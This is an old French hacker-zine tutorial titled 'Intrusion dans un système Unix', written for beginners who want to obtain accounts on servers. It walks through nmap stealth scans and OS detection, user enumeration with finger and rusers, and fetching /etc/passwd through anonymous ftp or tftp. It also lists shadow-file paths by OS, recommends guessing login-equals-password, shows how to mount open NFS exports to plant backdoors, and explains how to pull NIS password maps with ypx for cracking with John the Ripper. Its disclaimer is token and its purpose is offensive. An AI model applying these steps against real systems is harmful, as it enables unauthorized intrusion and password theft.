INTRUSION DANS UN SYSTEME UNIX

-Disclamerz:

Arf !J 'aurais déjà pas dû mettre ce titre;tant pis,mais  je sais pas comment on fait pour effacer...
Ce 'tit file est déstiné aux gens HONNETES qui s'intéressent de près ou de loin à la sécurité informatique =).Je ne vous encourage en aucun cas à faire ce qui suit, étant donné que c'est illégal ( entendez par la que c'est pas légal ).Bon et comme d'hab, si vous le faites quand même, et bien ni moi ni le crew Tipiak ne répondrons de vos conneries ( hého faut pas rêver ).

-Intro:

Cet article est déstiné aux newbies de Linux ( jen suis un aussi ). Il aborde quelques failles de sécurités simples à exploiter, et vous parmettra normalement de vous pogner au moins un account sur un server, ce qui est déja pas mal pour commencer. Achtung !Nous ne parlerons ici que de servers sous *nix ( pas NT ) et nos principales attaques (toutes ?) se dérouleront a partir d'une station Linux (la vôtre ou un server ).
Ben voila pour l'intro...Si vous avez des problemes, ou des questions ou des suggestion ou des cadeaux: _n9_@Caramail.com ou chuis sur Hilti: 0800 397 397 vmb n° 8631 voila on va pouvoir commencer la...
Ah oué, j'oubliais les prérequis: une connaissance minimale de Linux, et ... de la patience =).

 

1) Obtenir des informations sur la cible:

nmap :

Il est important de connaitre un maximum une cible potentielle ( OS et version des démons...)

-pour connaitre l'OS de notre server, on peut utiliser NMAP, qui est en fait un scanner de ports. (pour lancer la  détection d'OS il faut etre root sur votre bécane)
>Tipwar $ su

password:

root@Tipwar # ./nmap -sS -p 80 -O -v www.cible.com

Et voilà...si nmap a bien fait son boulot ( ce qui arrive presque tjrs ), vous avez déja une info importante...
n.b.:On pourrait très bien faire une tite session telnet sur le port 23 de notre server afin de glaner les infos voulues, mais les admins s'amusent souvent a virer le greeting avec le nom et la version de l'OS, voire carrément a faire de l'intox...
Voila ce que ca donne :

melchior:/nmap# ./nmap -sS -p 80 -O -v www.chez.com
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)

Host www.chez.com (195.68.91.28) appears to be up ... good.

Initiating SYN half-open stealth scan against www.chez.com (195.68.91.28)

Adding TCP port 80 (state Open).

The SYN scan took 0 seconds to scan 1 ports.

For OSScan assuming that port 80 is open and port 42496 is closed and neither are firewalled

Interesting ports on www.chez.com (195.68.91.28):

Port    State      Protocol  Service

80     open        tcp       http

TCP Sequence Prediction: Class=random positive increments
                         Difficulty=2571413 (Good luck!)

Sequence numbers: 47D0A9B8 47DD7A1B 47E694B7 4772AEA2 475A4DE6 47821838
Remote operating system guess: Linux 2.1.122 - 2.1.132; 2.2.0-pre1 - 2.2.2

Nmap run completed -- 1 IP address (1 host up) scanned in 4 seconds

Voila: Chez ils runnent Linux =) on est pas les seuls.

Continuons avec nmap; on va juste scanner les ports de notre server, comme ca pour voir ...

>root@Tipwar # ./nmap -sS -v www.cible.com
Ici, nmap nous fait un scan TCP "furtif". ( demi-ouverture des ports pour rester discret...je sais pas si c'est vraiment efficace mais bon...)
ou
>Tipwar $ nmap -ST -v www.cible.com

pour un scan TCP normal.(amusez vous a telnetter sur tous les ports ouverts, surtout si le 23 et le 25 sont fermés )

finger / rusers :

Nous pouvons ensuite utiliser la commande "finger" pour cette fois ci, obtenir des infos sur les utilisateurs.

Tipwar $ finger @www.cible.com
[www.FT.com]

Login     Name      TTY  Idle   When         Where

------     -------      ----  -----   -------         --------

_n9_       lol           co   45d   Tue 5h00    Tipiak.com

NEXXT    mdr          co   30s   Wed 6h30   Tipiak.com

 

Mmh, deux utilisateurs de loggués: _n9_ vous avez mon nom =)
vous savez que je suis loggué et que je scotche mon écran sans rien faire depuis 45 jours ( donc théoriquement chuis pas là, ou je suis mort) et NEXXT, lui il a commencé a scotcher ya 30s.Je vous laisse deviner les deux dernieres colonnes...
ndlr: finger peur servir à  éviter de venir sur le server en même temps que le root et éviter ainsi de se faire remarquer...
n.b.: finger -l c'est sympa aussi

-rusers une autre commande similaire a finger, je vous laisse en juger par vous meme:

Tipwar $ rusers -l www.cible.com

Login    Home-dir    Shell      Last login, from where
-------   ------------   ------     ---------------------------

root                  /  /bin/sh    Fri Nov 5 07:42 on ttyp1 from fuck.FT.com

bin               /bin                Never logged in

nobody             /                 Never logged in

n9       /home/n9/  /bin/sh    Tue Dec 9 13h01 on ttyp2 from tipiak.com

psy      /home/psy /bin/psi    Sun Mar 2  00h44 on ttyp1 from tiptop.cz

guest  /export/foo /bin/sh     Never logged in

ftp       /home/ftp                Never logged in (mmh)

Bah voila kwa j'ai pas grand chose a dire la dessus =)

-Dernière chose on peut aussi telneter sur le port 25 ( SMTP )de notre victime, pour connaitre la version de son Sendmail. ( plus c'est vieux, mieux c'est ! du genre en dessous de 8.5 c'est cool).
Par contre, je traiterai pas de ça dans cet article, donc soit vous vous démerdez, soit vous attendez CounterStrikE XX où ca sera vraisemblablement dedans...
 

2) Les Failles:


Bon, vous pouvez toujours tester le bug ftp ( cf Tipiak )mais c'est un miracle si ca marche
Sinon c'est pas compliqué, pour se trouver  un account, il faut aller chercher le fichier pass: /etc/passwd...
Si d'une manière ou d'une autre vous l'avez choppé, hop ! john the ripper (cf l'article de LoginX.)

-Ensuite, si l'admin est à chier, essayez de récupérer le fichier passwd en ftp:
Tipwar $ ftp www.cible.com

Login: ftp

Pass: ftp

ftp>get /etc/passwd

-Y'a aussi les cgi: ( ya des scanners pour ca >VoideYe sur Tipiak).Je m'étend pas dessus, si le scanner il dit y'a bon, ben vous mettez lurl dans le browser et c'est fini...Ca aussi ca devient tres difficile a trouver...

tftp :

Il existe un programme semblable a ftp: tftp ( trivial file transfert program ) qui permet, si le démon est présent d'écrire et de lire partout sur le server, sans avoir besoin de pass...La encore, l'admin du server doit etre con comme pas deux.

Tipwar $ tftp
tftp> connect www.cible.com

get /etc/passwd


J'ouvre juste une petite parenthèse pour vous parler des passwd shadow...Je vais pas m'étendre la dessus, ya assez de doc la dessus j'inclus jute un ptit tableau avec l'endroit ou se trouve ce que l'on cherche =) ( source: Phrack )
 
OS Path
Sun OS 4.1 /etc/security/passwd.adjunct
Sun OS 5.0 /etc/shadow
System V 4.0 /etc/shadow
System V 4.2 /etc/security
ConvexOS 10/11 /etc/shadow
Linux /etc/shadow
IRIX 5 /etc/shadow
AIX /etc/security/passwd
BSD4.3-Reno /etc/master.passwd
Dg ux /etc/tcb/aa/user
Hp ux /.secure/etc/passwd
Unicos /etc/udb

Un dernier mot: un fichier passwd, meme shadow, c'est toujours intérssant: amusez vous a essayer de vous logger en utilisant le meme pass que le login, vous verrez, ca porte souvent ses fruits;
Voila, un account pour vous et en utilisant ce kon a vu audessus (nmap), ben vous allez sur rootshell.com et vous me trouvez un tit exploit =)

 

NFS (Network File System)

Bon c'est koi NFS ?

En fait c un protocole reseau qui permet de vous faire bosser sur un fichier a l'autre bout du monde en vous donnant l'illusion qu'il est sur votre PC en fait on peut comparer c'est l'aquivalent de la commande mount mais avec le hd d'un autre pc distant. On va s'en servir pour inspecter la cible , ou meme avoir un shell branche dessus . Il se peut aussi que vous puissiez y placer des taupes en tout genre ou des backdoors. A part ca vous pourrez tres bien prendre l'UID ou le GID ( User Identification Number / Group Identification Number ) d'un utilisateur quelquonque en parametrant votre Linux .


Pour connaitre les fichiers qui pouraient etres exportes tapez dans un shell : #showmount -e www.url.com

Ca vous donnes un truc du genre:

export list for www.url.com
/etc (everyone)
/bin (bibi)

Traduction :
/etc (everyone) : signifie que n'importe qui peut exporter ce repertoire
/bin (bibi) : signifie que seul l'utilisateur bibi peut exporter ce repertoir

Pour exporter un systeme de repertoire sur un des dossiers de votre pc , tapez :

#mount -t nfs www.url.com:/systeme_de_repertoires_distant /votre_dossier

ex: #mount -t nfs www.url.com:/etc /mnt/nfs

Dans ce cas la vous trouverez le contenu du hd distant dans le dossier mnt/nfs mais le dossier nfs a du etre cree auparavant.

Je tient a preciser pour ceux qui ne le savent pas que c'est de plus en plus rares de trouver des cas comme cela.

 

NIS (Network instant system)

-Je parlerai en dernier lieu de NIS, un truc un peu plus courant que les failles nommées ci dessus:

NIS, c'est un service de partage de base de données systeme d'un réseau.( du genre etc/group et etc/passwd ).Il sert a exporter par exemple les mots de passes d'un utilisateur vers le réseau, ainsi, il peut avoir acces a son shell depuis nimporte quelle bécane du réseau.
Bref, plus le réseau est gros, plus y'a de chances d'avoir NIS.
Pour voir si ya NIS, rien de plus simple:

Tipwar@root # rpcinfo -p www.cible.com
 
program   vers   proto     port

  100004      2       tcp       673     ypserv
  100005      1       udp       721    mountd

  100003      2       udp     2049    nfs

  100026      1       udp      733     bootparam

  100017      1       tcp     1274     rexd

 

Ah! La c'est cool, y'a ypserv, ca veut dire qu'il ya forcément NIS sur ce server. (Ya aussi bootparam, qui nous indique que c'est une machine sans lecteur de disquettes.)
Maintenant, il va falloir trouver nom de domaine NIS, qui est le nom d'une autre machine, gérant NIS sur le réseau.Ca, c'est le truc le plus chiant...Pour le trouver, on a deux solutions: soit on le trouve comme ca:

Tipwar $ ypwhich -d cible www.cible.com
kewl.cible.com

>C'est bon vous l'avez !
 

Tipwar $ ypwhich -d cible www.cible.com
domain not bound

>C'est pas bon vous l'avez pas.Donc on va essayer autre chose:

Avec rpcinfo, on a vu que le server runnait aussi NFS, cela veut dire que selon le cas, certaines machines peuvent monter un répertoire du serveur su leur disque.Pour le voir:

Tipwar@root # showmount -e www.cible.com
export list for cible.com:

 /export                (everyone)

/home/froot           maggy

Ici, nimporte qui peut monter le repertoire /export, mais le répertoire /home/froot, peut seulement etre monté par la machine maggy du domaine "cible" . Mais ca ne nous avence a rien; en fait, il faudrait plutot ceci :

/var          (everyone)

Dans ce cas:

Tipwar@root # mount -t nfs www.cible.com:/var /mnt

puis allez voir dans /var/yp, c'est a dire /mnt/yp chez vous, et vous trouvez ce putain de nom de domaine...

BOON, maintenant, y'a plus qu'a récupérer le fichier passwd en utilisant un prog ki s'appelle YPX.(inclus dans le mag).
Supposons que vous attaquez www.cible.com et ke la machine qui gère le NIS s'appelle kewl.victim.com, ca donnera ca :

Tipwar $ ypx -d kewl.cible.com cible -m passwd.byname

Voila.passwd.byname (c'est une carte NIS ) c'est l'equivalent de /etc/passwd, donc: john the ripper =)
Vla un tit tableau d'équvalence fichiers-cartesNIS:
 
 

Nom du file Nom de la carte NIS
passwd passwd.byname
group group.byname
networks networks.byaddr
hosts hosts.byaddr
protocols protocols.bynumber
services services.byname
aliases mail.aliases
ethers ethers.byname

Le mot de la fin:

mot

mmh j'ai pas envie de faire d'outro donc j'en fait pas. :p
mmh un ptit greetz ?vi.
Donc greetz à Veinscutsl, remoux, Peace (qui code qui code) et les autres !